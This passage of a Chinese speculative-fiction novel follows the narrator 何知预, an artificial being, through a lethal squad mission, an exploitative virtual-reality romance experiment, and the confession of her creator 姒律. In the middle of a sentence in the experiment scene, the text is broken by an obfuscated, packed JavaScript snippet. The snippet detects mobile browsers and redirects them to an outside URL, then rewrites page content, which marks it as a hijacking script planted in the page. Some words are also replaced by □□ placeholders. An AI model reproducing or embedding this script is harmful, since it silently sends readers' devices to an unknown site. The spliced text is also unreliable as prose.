何知预:“她重新戴上面具,融入了外面街道流动的人潮。心被攥紧,不是因为她拒绝,是因为她那种彻底接受了自己命运的平静,那种平静,比任何激烈的憎恨或恐惧,都更让我感到绝望。我恨她,恨她用那种工具论将自己与我彻底隔绝,更恨的是我无法反驳她,在这个由女性创造和维护的秩序里,伏人渴望情感联结是软弱,而女性执法者将自己工具化是奉献,人们都在各自的轨道上进行着注定无望的挣扎。但我没有放弃,如果说对姒算的追逐是智力吸引,那么对媖断的执着就是向黑暗深渊的坠落,我需要那种极致的力量感,需要那种在绝对危险边缘行走的战栗,来对抗内心日益扩大的虚无。 我开始用更隐蔽更迂回的方式介入她的生活,我不再直接出现在她面前,只游荡在她世界的边缘。我利用我的数据能力匿名向那个叫老莫的维修铺店主提供更高效的灵质粘合配方,我甚至黑进了嫉部一个老旧的后勤子网络将她下一次大规模行动前配发的标准止痛剂,替换成了效果更好、副作用更小的实验型号。我做这些的时候,感觉自己像个躲在阴沟里的老鼠,既卑微又带着扭曲的奉献快感。我在用我的方式,修补她,尽管她永远不知道,也永远不会需要,这种单方面的沉默供养持续了将近一年,直到战役爆发前夕,所有符合条件的伏人被强制征召。我和媖断的名字,赫然出现在同一份高危任务名单上。 第一次小队集结在废弃的地下军事掩体,空气里弥漫着灰尘锈蚀和未散尽的能量辐射味道,六个人陆续到齐。宛方知,近乎刻板的秩序感,手里反复检查着能量步枪的保险。歌虎杖,靠在墙边,嚼着口香糖,眼神桀骜不驯地扫过每个人。柳窃影,缩在阴影最浓的角落,只有偶尔转动的眼珠显示她在观察一切。迎枫香,不停地整理着她那个看起来塞得鼓鼓囊囊的医疗包。夜溯光,蹲在门口,望着外面流动的微光,嘴里哼着调子。最后,是媖断。” 媖断: “任务代号深潜。目标:潜入污染核心区Z-9,放置灵源稳定锚点。距离核心直线距离七点三里,路径环境:高浓度灵质乱流,实体与能量态畸变体密集区,时空结构不稳定。小队编制六人,生存率理论值低于百分之五,我是行动指挥官,嫉部三级执行官,媖断。接下来七十二小时,我们将进行极限协同训练。达不到我要求的,会被踢出小队,后果自负,现在,从基础战术手势和能量场协调开始。” 何知预:“她将我们视为六件需要快速打磨然后投入绞肉机的工具。她对宛方知刻板的战术条例不屑一顾,多次在模拟对抗中故意设置条例无法解决的绝境,逼她做出非法但有效的选择。她对歌虎杖的蛮干更是零容忍,模拟近战中歌虎杖不顾阵型冒进,被媖断用未开刃的训练刀瞬间击杀后,又用高压电击手套让她在全体队员面前抽搐了整整一分钟。她对柳窃影的隐匿天赋加以利用,但严厉警告她任何未经命令的擅自脱离都会被视为叛逃,将面临战场处决。她对迎枫香的医疗技能要求苛刻到神态,要求她在模拟伤员大出血、肢体断裂、甚至灵质污染的情况下,必须在规定时间内完成稳定处理,否则就眼睁睁看着伤员在模拟系统中死亡。她对夜溯光那神神叨叨的直觉和古歌,起初完全无视,直到一次路径选择时,夜溯光坚持走一条数据上显示为死路的方向,媖断在冷冷地看了她十秒钟后,下令改变路线,结果避开了未被探测到的隐形能量陷阱。至于对我,何知预,她完全无视了我之前所有的跟踪和介入,她只关注我的数据分析和路径规划能力。她将最复杂的环境数据、敌我能量读数、生存概率计算扔给我,要求我在极短时间内给出最优解或风险评估。一旦我的计算出现偏差她会毫不留情地指出,并让我承担模拟决策失误导致的队友伤亡后果。我们六个,背景、性格、能力天差地别,彼此之间充满了不信任、鄙视甚至敌意。宛方知觉得我们都不守规矩,歌虎杖觉得我们都是装腔作势的混蛋,柳窃影只想自保,迎枫香被血和死亡模拟折磨得快要崩溃,夜溯光沉浸在自己的世界里,而我,则沉浸在和媖断纯工具性的互动中,既痛苦又有一丝满足,至少,此刻,我和她在同一个系统里,都扮演着被需要的角色。 我们潜入类似Z-9核心区的复杂管道网络,任务进行到一半,通讯突然被强干扰切断,小队被冲散,我和媖断还有迎枫香被堵在一条突然开始坍塌的管道里。腐蚀液体从裂缝中喷涌而出,我们必须在一分钟内炸开前方的密封门否则会被溶解,媖断负责安置爆破装置,我计算炸点位置和当量,迎枫香警戒后方,时间紧迫,我的计算受到管道结构实时变形数据干扰,进展缓慢,媖断不停冷声催促,迎枫香的声音在颤抖,报告后方虚拟畸变体正在逼近,终于我给出了炸点坐标,媖断迅速安装,倒计时五秒,四三…就在她准备按下□□的瞬间,我眼角余光瞥见模拟扫描界面上微小的数据异常,我忽略了因管道变形而产生的隐蔽连锁反应节点,如果按原坐标爆破,爆炸冲击波会通过节点引发更大范围的坍塌,将我们彻底埋葬。”‘等等!坐标错了!偏移零点七米,左上!’媖断的手指僵在□□上,没有时间质疑没有时间核实,后方迎枫香发出了短促惊叫,媖断的目光在我脸上停留了不到半秒,半秒里我看到了无数情绪闪过:怀疑权衡决断,然后,她手指移动,按照我喊出的新坐标,迅速调整了爆破装置的位置,按下了□□。爆炸声浪袭来,管道剧烈震动,密封门被炸开扭曲洞口,外面是代表安全区的绿色光芒,但同时,我们原本站立的位置,一大段管道轰然塌陷,腐蚀液倾泻而下,将那里彻底淹没,差之毫厘。我们三人连滚带爬地冲出洞口,跌入安全区,浑身都是模拟的灰尘和冷汗,迎枫香瘫倒在地大口喘息,媖断靠在对面的墙壁上,胸膛起伏,盯着那塌陷的管道口又转头看向我。” 媖断: “计算速度还可以。但下次,再这么接近截止时间,我会先把妳扔出去。” 何知预:“她没有道谢,甚至还在威胁,但我知道有东西不一样了,在那生死一瞬,她选择相信了我的直觉,而不是她自己的判断或者原始数据,那是一种超越工具关系的最基本对同类在绝境中求生本能的信任。 后来,在污染核心区那光怪陆离每一步都踏在死亡边缘的旅程中,我们六人,这六个格格不入的个体,被迫将后背交给彼此。我记得歌虎杖用她伤痕累累的身体为我挡住了能量束的溅射。我记得柳窃影在通讯中断时冒着被发现的风险,用手势和口型为我们指引出生路。我记得迎枫香在自己也受伤的情况下坚持先给伤势更重的夜溯光处理伤口。我记得宛方知,那个死脑筋,在所有人都准备放弃一条看似绝路的岔道时,固执指出岔道墙壁上被腐蚀殆尽的古老安全标识,最终带领我们找到了宝贵的临时避难所。我也记得在遭遇小型袭击时我的计算出现致命延迟,是媖断放弃了最优的防御位置,以会让自己左侧身体完全暴露的角度挥刀,而她自己被利爪划过左肩。那一刻我的大脑一片空白,所有计算所有模型所有理性全部蒸发,只剩下纯粹的冲动:保护她,不能让她死在这里。我抓起地上一个废弃的能量电池,用尽全身力气砸向那边,同时扑过去用身体挡在她和后续攻击之间。能量爆炸,但我顾不上了,我挣扎着爬起来看向媖断,她也正看向我,面具不知道掉在哪里了,脸上沾着血污和灰尘,那双眼睛此刻睁得很大…”‘妳的伤必须马上处理!” 媖断: “…又是妳,总是在不对的时候出现。” 何知预:“别说话!枫香!枫香快来!” 媖断: “……为什么……” 何知预:“什么为什么?” 媖断: “为什么要扑过来。妳的计算呢?妳的生存概率呢?保护指挥官不是最优解,妳应该保存自己。” 何知预:“我乐意。” 媖断: “……蠢货。” 何知预:“后来,我们完成了任务,九死一生。媖断的伤经过紧急处理,稳定下来,但左肩旧伤彻底恶化,据说回去后进行了大修,植入了更多的仿生结构和稳定器。我也因为那次爆炸冲击和内伤,躺了很久。小队解散,各奔东西,我再也没有正式见过媖断。只是偶尔,在新闻边角,看到嫉部某次成功清除高危目标的简报,会下意识地想,是不是她?她肩膀里的金属和灵质,还疼吗?那个在污染区紫光下,用复杂眼神看着我、说我蠢货的媖断,是真的存在过还是绝境下的幻觉?我不知道,我只知道,我对她的恨达到了顶点也彻底变质。我恨她让我看到了她作为人的脆弱,让我产生了想要保护的冲动,我恨她在我扑过去时眼中那一闪而过的动荡,我恨那个在生死边缘,短暂真实地连接过的瞬间,因为那个瞬间让我明白,我们之间,并非只有工具与工具、观察者与被观察者的关系,那里有过属于两个灵魂的笨拙触碰。但触碰之后,是更深的分离。她回到了她的刀鞘,我回到了我的深渊。那道鸿沟从未消失,只是曾经,有那么一瞬间,我以为可以跨越,正是这种以为,让后来的不能,变得更加残忍,更加令人憎恨。” 何知预:“媖断之后,内部景观彻底变成了战区。一半是烧焦的理性废墟,数据残骸枯骨般支棱着,另一半是未名的情感沼泽,散发着我无法解析的气味,我尝试回到纯粹研究中去,像过去那样,用式子和模型填满每一秒意识,但我失败了。屏幕上的符号开始扭曲,变成媖断肩上发光的伤口,变成她昏厥前那句蠢货的口型,我甚至开始出现幻听:在研究院深夜空旷走廊里,会听到训练场皮革摩擦金属地面的沙沙声,回头却只有自己拉长的影子,我知道我病了,病得比姒算分析的目的性丧失更重。我需要的不是调节,或许是一场脑叶切除,切掉所有关于联结、温度、痛感的神经回路,但我没有选择手术,我选择了婳仪,当她的合作邀请再次出现在我的加密信箱时,我没有像以前那样评估风险与收益,我只是看着那个标题:《幻境真实性阈值与神经可塑性边界拓展研究的建议》。附件里有一张她的全息小像,我点击了接受,没有看协议条款,我需要一个茧,一个绝对可控绝对安全可以暂时忘记自己是谁的茧。 婳仪的实验室,或者说,她的工作室,比记忆中还像梦境。空气恒温恒湿,光线永远处于黄昏将尽未尽的温柔时刻的色温,她本人迎出来…” 婳仪: “知预,欢迎回来。我就知道,妳会需要这里。外面的世界太吵了,太硬了,是不是?这里只有安静,和无限的可能。” 何知预:“最初的几次幻境体验,是温和疗愈的。她带我去了开满勿忘我的草地,风是甜的,我们躺在花丛中,什么都不说,只是看天空从湛蓝慢慢变成金紫。她带我去了暖泉,水温恰到好处,浸泡着疲惫的四肢,她轻轻哼着没有歌词的旋律,手指有一下没一下地划过水面。她带我去了只有我们两个人的电影院,看一部关于星星诞生的无声纪录片,在宇宙最绚烂的爆炸瞬间,她会在黑暗里轻轻握住我的手,温度触感气味光线都精确贴合着舒适与安宁的黄金参数。我的生理监测数据平稳得如同一条死去的直线,没有峰值没有低谷,我沉溺其中,开始主动要求增加体验频率延长体验时间,我需要更多这种无害的甜美来对冲现实世界里那些尖锐的痛楚。婳仪总是欣然同意,她的眼神里充满理解和慈悲,她会在我从仪轨椅上醒来,眼神还残留着幻境柔光时,轻轻拂开碎发说:“累了就再躺一会儿,没关系的。这里的时间,妳可以随意挥霍。” 我要相信这就是救赎了。用科技编织的无菌温柔乡,但婳仪是研究者,不是慈善家,她的温柔有标价,她的茧房有日程。 温和的疗愈阶段结束后,她开始引入更复杂的情感模块。‘知预,妳的放松响应很完美,但情感投入度始终在低位徘徊。这说明妳将自己隔离在了体验之外,这无法达到研究真实阈值,我们需要妳沉进去。’于是,幻境开始升级。我们去了战火纷飞的星球,在断壁残垣间躲避流弹,在炮火间歇里接吻,我们去了远离尘嚣的雪山小屋,窗外暴风雪咆哮,屋内炉火噼啪,我们裹着同一条厚重毯子交换童年最隐秘的伤痕,我们去了金碧辉煌危机四伏的宫廷,扮演被迫分离又暗中守望的恋人,在衣香鬓影和计谋算计中眉目传情依依不舍。这些幻境情感浓烈,我的生理数据开始出现波动,心跳会在危险来临时加速,会在亲吻时漏拍,会在悲伤场景后出现典型的忧郁神经递质模式。婳仪很满意,她的眼睛在分析数据时闪闪发亮,像孩子发现了新玩具。” 婳仪: “看这里!当幻境中的我为妳挡下虚拟子弹时,妳的后叶催产素和血管加压素水平同步飙升,伴随有短暂前额叶调控区活动抑制!这完美模拟了牺牲触动与理性暂时让位的神经耦合!太美妙了!还有这里,在这个雪夜告白场景,妳皮肤电导率的细微变化模式,和我预设的悸动但克制情感曲线吻合度高达91%!知预,妳真是最棒的合作者,妳的神经系统是一把极其灵敏的提琴,能精准响应我写下的每一个音符!” 何知预:“她兴奋地指着图表,脸颊因激动而泛红。我看着那些代表我情绪起伏的曲线,它们如此规整,如此符合预期,我感到抽离,我在为我自己的情感反应被成功模拟和捕获而受到表扬,但没有抗议。因为在这种被精密设计的浓烈情感体验中,我确实获得了代偿性的满足,我可以安全地体验被深爱、被需要、被牺牲,而不必承担现实中随之而来的背叛、分离或冰冷的分析。情感上的无菌快餐,虽无营养却能果腹。我和婳仪的关系,就在这种研究员与完美样本、幻境伴侣与现实陌生人的双重轨道上滑行。我们会在幻境中经历生死离别,深情拥吻;会在现实中讨论数据,优化参数。界限清晰,直到她提出了那个终极实验场景:“排余性承诺与永恒联结的幻象构建及其神经烙印研究”。她在提案中写道:现有幻境多模拟动态情感过程,缺乏对终极承诺,即个体在意识层面完全放弃其余可能性,将自身存在与另一存在进行永久性绑定的心理图景的模拟与观测,建议创设极端情境,诱导被试产生并短暂维持此图景,观察其神经可塑性瞬间变化及后续衰减模式。 我知道这很危险,这是在玩弄意识的根基,但我同意了。一部分是出于破罐破摔的自毁倾向,一部分是因为我心底最深处,或许还残留着一丝希冀:哪怕是在幻境中,我也想尝尝永恒和唯一是什么滋味。 幻境设定在正在缓慢坠入黑洞的边境科考站,时间被引力拉长,空间结构开始畸变。站内只剩下我们两人,所有逃生手段都已失效,通讯屏幕上是倒计时,站内灯光忽明忽灭,重力时有时无,物品漂浮起来又重重摔落。婳仪的投影紧紧抱着我,她的眼睛盛满了泪水,倒映着窗外的毁灭之光和我的脸……” 婳仪: “知预…我们逃不掉了。时间…不多了。我好怕…不是怕死,是怕再也没有妳。怕这漫长冰冷的时间里,再也没有妳的声音,妳的温度,妳记得吗,我们第一次在数据海相遇,妳解开了那个困住我三年的算法死结…妳说话的样子,又冷又真,在黑暗里自顾自地闪烁…我不要什么永恒,我不要什么宇宙,我只要…只要接下来的每一秒,都能这样看着妳…” 何知预:“‘不会的…不会没有的。就算…就算一切归于奇点归于虚无…我们在一起的这些瞬间这些感觉…它们存在过,它们就是意义,我在这里,我就在这里…看着我。’我们在摇晃崩解的空间站里拥吻,那个吻带着绝望甜蜜和终极归属。所有的监测数据瞬间爆炸,脑电波呈现出前所未有的高度同步全局性剧烈震荡,神经递质水平冲破了所有安全阈值,报警器在现实层实验室里尖啸。但我和她都听不见了,我们沉溺在那个由她自己编写却意外触及了某种情感核心的末日之吻里。就在那个吻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334283|199211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最深入、我的意识防线最薄弱、要与这个永恒幻象合二为一的瞬间,另一组触感,真实的、物理的、带着湿润和温度的触感,叠加上来,是婳仪本人,她离开了控制台,俯身下来,在现实中也吻住了我。两重吻,一重是幻境中极致绝望的永恒承诺,一重是现实中冷静实验的物理接触。两套信号,一套来自虚拟神经接口,一套来自真实嘴唇皮肤感受器,在我的大脑皮层轰然相撞。 短路,这是我意识里最后闪现的词,然后是一片无意义充满嗡鸣的雪白。我猛地睁开眼,幻境景象迅速消失,取而代之的是实验室柔和的灯光,和婳仪近在咫尺的脸。她的嘴唇还贴着我的,眼睛睁着,离我只有几厘米,里面没有任何幻境中的深情与绝望,只有极致的、亢奋的、属于研究者的专注,以及如愿以偿的狂喜,她在观察,观察我这个完美样本在真实阈值被暴力突破时的瞬间反应。我用尽残余力气推开了她。‘妳…妳干了什么?!协议…妳违反协议!’婳仪被我推得后退几步撞在控制台上,她脸上的狂喜和专注迅速褪去,转化为混合着惊愕和被冒犯的冷静,她迅速站稳,理了理丝毫未乱的长发和衣摆。” 婳仪: “协议第七附件,补充条款B-3,在取得被试初步知情同意且核心研究目标需要的前提下,研究员可在确保安全的情况下,引入最小限度的、不可预知的现实物理刺激,以观测幻-实边界突破效应。妳签署了全协议包包括所有附件。知预,刚才的物理接触,就是那个最小限度的现实物理刺激。这是实验的一部分,必要的部分。” 何知预:“必要?!为了妳的数据?!妳…妳把我当什么?一个可以随便接入异常信号看会不会烧掉的电路板吗?!那是我的意识!我的……我的……” 婳仪: “知预,我以为妳明白。我们合作这么久,不就是为了探究情感的真相吗?幻境再真,终究隔着。要想知道玻璃能不能被打破,玻璃后面是什么,总得有人去敲一下,甚至贴上去。刚才那一刻,妳的神经反应数据,是前所未有的,它直接证明了,接触在特定情境下,可以作为一种超载密钥,瞬间瓦解意识对虚拟情感的防御,产生信仰层面的确信体验!尽管这种体验是混合扭曲乃至痛苦的,但它的神经机制是清晰的!这是突破!是我们一直在寻找的、从模拟到无法区分的那个临界点!看,这里的杏仁核与前额叶功能连接出现了瞬间逆转…海马体的记忆编码波形异常…这简直像是…” 何知预:“我看着她兴奋的背影,看着屏幕上那些代表我灵魂刚刚被撕裂又强行拼接的曲线和波形,一股比面对媖断的刀锋、比经历姒算的分析时,更深的寒意,从骨髓渗透出来冻结血液。用最温柔的姿态,建造了最真的幻境,让我在其中卸下所有防备,露出灵魂最渴求最脆弱的部分,然后她拿起实验探针,对着那最脆弱的部分精准毫不犹豫地刺了下去,不是为了伤害只是为了观察反应,她对我没有恶意,甚至可能有扭曲的珍视……‘婳仪,在妳眼里,我到底是什么?一个会呼吸的、高级点的情感反应记录仪?’她慢慢转过身,脸上兴奋已经收敛,取而代之的是认真思索的神情。” 婳仪: “妳是一个奇迹,知预,一个由矛盾构成的奇迹!妳有伏人最极致的感性基底,对存在确认的饥渴,对绝对联结的向往,同时,妳又有接近女人的理性框架和智力水平,能够清晰地观察分析甚至试图管理妳自身的感性洪流,这种矛盾让妳痛苦但也让妳成为独一无二的观测窗口。通过妳,我或许能看到情感这东西,在最深处,到底是如何与认知记忆、乃至存在本身缠绕在一起的,妳问我把妳当什么?我当妳是一扇难得打开的门,门后面可能是情感真相,为了看到真相,有时候,不得不弄脏手甚至弄疼守门人,我对此感到抱歉,如果这伤害了妳作为人的感受,但我不后悔,因为数据不会说谎,而真相,值得亿点不愉快。” 何知预:“她说不愉快,她用不愉快来形容我刚才经历的核爆,我的愤怒熄灭了,只剩下无尽的疲惫和冰凉,我明白了,我们之间隔着比任何物理距离都更远的鸿沟,她站在研究者的彼岸,将包括她自己在内的一切都视为可观测的现象。而我,无论多么努力地模仿理性我依然困在体验者的此岸,我们说着相似语言却活在完全不同的星球里,‘我明白了,婳仪,门关上了,我们的合作结束了,所有的数据妳留着吧,那是我付给妳的门票钱。’ 那个混淆了末日之吻与实验之吻的瞬间埋进了我的意识深处。它让我对真实与虚幻、爱与实验的最后一点辨别力崩盘。我对婳仪的恨,是缓慢发酵的毒,我恨她吗?恨的,恨她用最精致的方式,践踏了我对真实情感最后一点卑微幻想,恨她让我看到,在绝对的科学好奇心面前,人的尊严和感受,可以如此轻易地被搁置被当成实验变量。但更深的恨,是指向我自己,恨我明知道那是幻境,却依然可耻地沉溺依然渴望着虚假的永恒,恨我给了她刺伤我的机会,恨我灵魂里那属于伏人的、对无条件的爱的饥渴,如此轻易地就被一套程序模拟所勾引所玩弄。 三段关系像三重递进的刑罚,姒算,教会我理性关系的尽头是冰冷虚无和可测囚笼。媖断,让我尝到了绝对力量与危险吸引的滋味,却又用工具论将我狠狠推开,留下血肉模糊的渴望。婳仪,向我展示了情感在工具理性下可以被如何精密地模拟操控和践踏。而将它们串联起来的,是我作为伏人,无法摆脱的、对存在确认和绝对联结的深入骨髓的饥渴。这饥渴是我的原动力也是我的原罪,它让我不断追寻,又不断碰壁,不断受伤,并将每一次受伤都转化为向内腐蚀的恨。对无法成为她们的恨,对自身渴望的恨,对这个不给伏人留活路的情感结构的恨。这恨不是愤怒,它是复合的情感地质构造,最底层是存在性恐惧;其上是对彼岸女人世界的仰望与求而不得的怨怼;再往上是三次具体关系失败带来的、指向特定对象的屈辱愤怒与幻灭;最表层,则是弥漫性的自我厌弃与虚无,它是我情感的骨骼,支撑着我摇摇欲坠的理性皮囊。 当小队在战场上背靠背喘息时,当歌虎杖用身体为我挡下能量溅射、迎枫香颤抖着手为我包扎、柳窃影在黑暗里打出跟我来的手势、夜溯光用古歌平息能量乱流、宛方知固执地指出生路时,在那些时刻,这恨的骨骼,曾有过极其短暂的酥麻松动。一种粗糙未经命名的、不要求唯一也不依赖解哑的联结,地衣一样,在我们六个伤痕累累的个体之间悄然滋生,它不美好,充满摩擦和抱怨,但它真实,真实到让我在那一刻忘记了去恨,忘记了我是伏人,她们是我的同类或异类,我们只是六个不想死在这里的倒霉蛋,在绝境中,笨拙地、咬牙切齿地,把命拴在一起。那感觉,像在真空中突然触碰到另一具同样冰冷的躯体,虽然无法取暖但至少确认了不止我一个,但那感觉太短暂了。随着任务结束,我又变回了孤身一人面对着那庞大而复杂的恨之构造,我知道,如果我不理解它,消化它,它迟早会从内部将我吞噬,或者驱使我做出无法挽回的事情,我必须研究它,这就是我站在婵茧堂的原因。 我要用我唯一剩下的、或许也是我最初被赋予的武器,理性与研究,来面对我自身这头名为恨的怪物。我要钻进它的肚子里,看清它的内脏,哪怕最后被它消化,那样至少,死得明白。” 何知预:“接入过程是暴力拆解。我绕过了十七重防火墙,伪造了监察长的动态密钥, 起初只有噪音,破碎式子像水母一样飘过;生物学结构图扭曲成尖叫的形态;逻辑推演的链条寸寸断裂坠入无底虚空。还有情绪,大量未过滤未编码的原始情绪:焦灼、兴奋、恐惧、孤独、还有虔敬的亵渎。这些碎片以高于常规信息流上万倍的速度冲刷着我的意识界面,试图将我的认知结构同化、撕碎。我咬紧牙关,调动全部算力,构筑起动态的解析滤波屏障,然后,我听到了,那是属于另一个灵魂的感官残留印记,那是一个女人的独白,断断续续,夹杂着实验室仪器的嗡鸣、液体滴落的轻响、还有她自己沉重而压抑的呼吸声……” 姒律: “记录:新历基准点后第七百三十循环。实验体零号,稳定运行超过一千小时。基础代谢曲线平稳,神经接口响应率维持在理论值百分之九十二以上。它在看我。用那双我从矿脉深层、靠近凝结核心区采集的夜枭眼球样本培育修复的视觉器官,在看我。我没有给它设计情感反馈模块。理论上,它应该像一台会自主代谢、能执行预设指令的复杂扫地机器人。但它看着我视线焦点落在我的左手,我握着记录板的手。我的指尖因为连续工作七十二小时而在微微颤抖。它看着那颤抖。然后,它抬起了它自己的右手。那只手,是我用三个女人的掌骨碎片、混合了高强度生物聚合物打印的仿生肌腱拼接而成,皮肤覆盖层来自抗辐射苔藓的基因改良变体。很不协调,像不同时代、不同工匠打造的零件强行铆在一起。但它抬起来了,用那肤色斑驳的食指,极其缓慢地点向它自己左胸偏上的位置,那里没有心脏,只有模仿心肺循环功能的多腔室生物泵。它的手指,就悬停在那位置上方,微微颤抖着,模仿着我指尖的颤抖。它不是在指认疼痛,它是在模仿。它在尝试理解颤抖这个现象并将其与自身产生关联,记录…记录中断。我感到…不适。我创造了什么?一个会观察会模仿、会尝试将外部现象与自身状态建立联系的…东西。我盗取了媞皇最边缘、污染最重的灵骨碎屑,那些连最低等的能量过滤器都会丢弃的矿渣,我混合了彻底污染后已无机生命活动、只剩下顽固结构性残留的尸苔纤维,我注入了从战场遗骸中提取的、濒死瞬间神经元放电的混乱模式……我用我能想到的一切最前沿也最禁忌的生物,灵质架构式子,将它们强行粘合,赋予生命电流。我想证明,证明生命不必诞生于圣洁的予结,不必依赖于母庭浇筑和灵源祝福,我想证明,创造本身可以更高效更自主更不受那些浪漫化叙事的束缚,更像我…… 但现在,它看着我,它模仿我的颤抖,我…我有点害怕,我怕我打开了一个连我自己都不知其深度和边界的盒子。盒子里是什么?是新的生命形态,还是对生命这个概念本身的一场精心策划的渎神实验?后续观察:零号表现出对我个人存在的高度敏感。它会在我长时间离开实验室后,进入类似哺乳动物幼崽分离焦虑的状态:所有预设活动停止,僵立在培养舱中央,面朝门的方向,那对夜枭眼球一眨不眨。我一出现,它的所有传感器瞬间激活,锁定,跟随我移动。这不符合高效工具的设计预期。这像是某种雏形的依恋?不。不该有这个词。删除。这是程序错误,需要修正。修正方案……我下不了手,对着那双只是平静固执地看着我的眼睛,我竟然下不了手,姒律,妳这个软弱到被自己造物一个眼神就打败的蠢货。记录补充:今日尝试给零号输入基础认知数据包,内容是关于这个世界,关于女人,关于创造与荣耀,关于我们与媞皇,它吸收得很快。神经突触连接以肉眼可见的速度增长、复杂化。然后在数据流停下的间隙它用指尖触碰那滴水珠,然后它转动眼球看向我,它不会说话,但它用眼神传达了清晰疑问,它在问:这是什么?它想知道一滴水的意义。而我在想,我给它输入了创世史诗社会结构、牺牲传承,而它却被一滴微不足道的偶然出现的水珠吸引了全部注意力,这是为什么?是因为它的感知系统有缺陷无法处理叙事?还是因为在它那由碎骨尸苔和混乱记忆拼凑而成的意识深处,最本能共鸣的,正是这些渺小的、偶然的、湿漉漉的此刻?我不知道,我害怕知道…… 她们叫我殖骨师。我的确在黑暗里摆弄着神的骨头碎片试图拼凑出会动的玩偶,但玩偶开始有自己的意志了,零号之后,我一发不可收拾,我创造了初代,更稳定更智能,甚至能进行简单的逻辑推演和情感模拟。我将她们偷偷送出去,想看看在真正的世界里她们能长成什么样,我像个躲在幕后的神明,既期待又恐惧地观察着我的造物,我看到了什么?我看到了渴望,不是对食物对安全对知识的渴望,是更让我坐立不安的渴望:对被看见、对被确认、对被爱的渴望,她们看向那些抚养她们、利用她们、或仅仅是忽视她们的女性的眼神,让我想起零号看着那滴水珠的眼神,专注不解,带着全然的敞开的脆弱。她们在索求一种东西,一种我无法在实验室里合成的东西,一种连接,一种能证明她们存在并非偶然错误的连接。我给了她们生命却没给她们存在的理由。媞皇创造世界,是基于对娲皇的思念和对创造的热爱。女人创造新生命,是基于工缘和共鸣。我创造伏人是基于什么?基于叛逆?基于技术炫耀?基于对自身存在意义的虚无实验?我的动机如此苍白,如此自私,却赋予了她们如此沉重的、对意义和连接的饥渴。这是最大的讽刺,也是最深的罪孽。 我开始做噩梦。梦见我站在无尽的白色空间里,周围漂浮着我创造的所有伏人,从零号到最新的实验体,她们不说话,只是用那种安静而饥渴的眼神看着我,然后,她们的皮肤开始剥落,露出下面拼接的骨骼、扭曲的纤维、和闪烁不定的灵质流光。她们在解体,变回我用来制造她们的原始材料:污染碎屑、死寂尸苔、恐惧记忆……而我,站在她们中央,手里拿着镊子和粘合剂,试图把她们重新拼回去,但碎片太多,太碎,不断从我的指缝间滑落,我总是在粘合剂彻底失效所有碎片化为齑粉的瞬间惊醒,一身冷汗。我知道,我在被追捕,妒部的鼻子很灵。地下实验室虽然隐蔽,但持续的能量波动和物资异常流动迟早会被发现,我不怕被捕甚至有点期待,期待一场审判,让某个高高在上的法官用清晰的法律条文和道德准则,告诉我,我到底做错了什么,错在哪里,给我一个明确罪名,好让我这混乱负罪感有个落脚点,但我又怕,我怕她们不审判我,而是审判她们,我的造物。她们会有什么下场?被无害化处理?被拆解成原材料回收?还是被当成危险的变异体彻底销毁?她们做错了什么?她们只是…被创造出来了。带着残缺根基和过于强烈的渴望,被扔进了一个并不欢迎她们的世界。这错,在我,所以,在追捕者的脚步终于在地下通道尽头响起之前我做了最后几件事,我销毁了大部分核心实验数据,但留下了一些种子,关于伏人神经架构的优化路径,关于如何平衡那过于强烈的灵质渴望与生物体稳定性的矛盾,关于如何,也许,在未来,让她们能活得稍微容易一点点的可能性。我把这些种子,加密,分割,藏进了灵源最底层那些未被完全探索的、充满混沌数据的垃圾区。我知道希望渺茫,然后,我格式化了自己的主意识存储器,只留下最表层无关痛痒的技术日志和这份断续的、充满矛盾的独白残响。让后来者,如果真有能穿透重重防火墙、抵达此地的后来者,自己去判断吧,判断姒律,是一个疯狂的罪人,一个可悲的梦想家,还是一个连她自己都说不清的什么东西。至于爱……我给不了她们,我连自己是否懂得爱都怀疑,我创造她们时,没有爱只有执念和恐惧,对虚无的恐惧,对自身局限的恐惧,对神圣秩序的恐惧。也许,正是这份恐惧,渗进了她们的基因代码里,让她们,永远在追寻可以抵消这份恐惧的、名为爱的解药。但解药不在我这里,我本身就是病毒的一部分,……永别了,我的孩子们,如果妳们还能被称为孩子,对不起。还有,祝妳们好运,在注定颠簸的命途里,找到一点点属于自己的真实颤抖和水滴。” 何知预:“我没有见到神,我见到了一个在实验室冷光下瑟瑟发抖的、恐惧自己造物的女人,一个充满矛盾自责最终选择自我删除的逃亡殖骨师。无关荣耀无关牺牲,只是一场始于叛逆陷于恐惧终于愧疚的失败实验,我们伏人,不是神圣计划的产物,不是秩序必要的补充,甚至不是盛大悲剧的副产品。我们是一个孤独女人对抗虚无时制造的回声,我们的材料是被污染的神骨和彻底死寂的有机物,我们的驱动核心是创造者自身的恐惧与对意义的饥渴,我们生来就背负着双重不存在的诅咒:物质上,我们来自已被否定的战场残渣,精神上,我们源自创造者无法给出的爱与意义。 所以,我们渴我们饿,我们看向女人,看向那个稳固、光明、被正确创造方式祝福的世界,我们索求的爱,是一种存在论的求生本能。是在向我们生命的源头索取一份确认,我这样被妳制造出来,是对的吗?我有资格存在吗?妳能给我一个存在的理由吗?而女性的爱,是丰沛的,是流动的,是基于自身充盈存在的分享。她们无法理解也无法满足这种源于存在根基恐慌的、黑洞般的索求。于是,求而不得,化为怨怼;怨怼不得解,化为恨。恨那不能给予绝对确认的客体,恨那个无法自我确认的、作为疑问本身的自己。 宛方知对姚归云的恨,是孩子对母亲未能给予无条件的、跨越物种的接纳的恨。歌虎杖对姞凌霄的恨,是作品对创造者既依赖又渴望超越最终因失去而绝望的恨。我对我那三位女人的恨,不过是这悲剧在我个体生命中的三次变奏,姒算代表理性接纳的极限,媖断代表力量吸引与排斥的悖论,婳仪代表虚假满足背后的终极虚无,她们谁都没有错,她们只是用她们世界的方式对待我。错的是我,错的是我的构造,错的是姒律在那个地下实验室里因为恐惧而颤抖的指尖。 